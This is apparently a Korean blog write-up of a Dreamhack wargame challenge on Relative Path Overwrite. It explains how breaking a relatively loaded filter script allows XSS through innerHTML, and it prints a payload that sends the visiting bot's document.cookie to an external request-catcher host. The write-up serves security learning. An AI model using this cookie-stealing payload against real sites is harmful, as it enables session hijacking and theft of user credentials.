본문 바로가기

웹해킹

드림핵 Relative Path Overwrite 롸업

<script src="filter.js"></script>
<pre id=param></pre>
<script>
    var param_elem = document.getElementById("param");
    var url = new URL(window.location.href);
    var param = url.searchParams.get("param");
    if (typeof filter !== 'undefined') {
        for (var i = 0; i < filter.length; i++) {
            if (param.toLowerCase().includes(filter[i])) {
                param = "nope !!";
                break;
            }
        }
    }

    param_elem.innerHTML = param;
</script>

vuln.php 코드에서 입력값이 innerHTML에 들어간다.

vuln.php에서 filter.js 파일을 로드해서 필터링을 하는데 상대경로로 로드를 하기 때문에 

url을 조작해서 제대로 된 js파일을 로드할 수 없게 만들 수 있다.

이렇게 중간에 index.php을 넣어서 제대로 된 파일을 로드할 수 없게 만든다.

이렇게 하면 param이 필터링이 안 되기 때문에 입력값이 innerHTML로 들어가는 취약점을 이용해 XSS 공격을 할 수 있다.

<?php
if(isset($_POST['path'])){
    exec(escapeshellcmd("python3 /bot.py " . escapeshellarg(base64_encode($_POST['path']))) . " 2>/dev/null &", $output);
    echo($output[0]);
}
?>

<form method="POST" class="form-inline">
    <div class="form-group">
        <label class="sr-only" for="path">/</label>
        <div class="input-group">
            <div class="input-group-addon">http://127.0.0.1/</div>
            <input type="text" class="form-control" id="path" name="path" placeholder="/">
        </div>
    </div>
    <button type="submit" class="btn btn-primary">Report</button>
</form>

report 부분에서 보면 요청을 보내면 flag를 쿠키로 들고 있는 bot이 방문을 하기 때문에

index.php/?page=vuln&param=<img src=@ onerror=location.href="https://crqggxp.request.dreamhack.games/"%2bdocument.cookie>

이렇게 url을 조작해서 report에서 요청을 보내면

이렇게 flag를 얻을 수 있다.

'웹해킹' 카테고리의 다른 글

DOM & Javascript  (0) 2023.11.26
드림핵 Relative Path Overwrite Advanced 롸업  (0) 2023.11.26
Relative Path Overwrite  (0) 2023.11.26
드림핵 CSS Injection 롸업  (0) 2023.11.26
드림핵 Client Side Template Injection 롸업  (0) 2023.11.26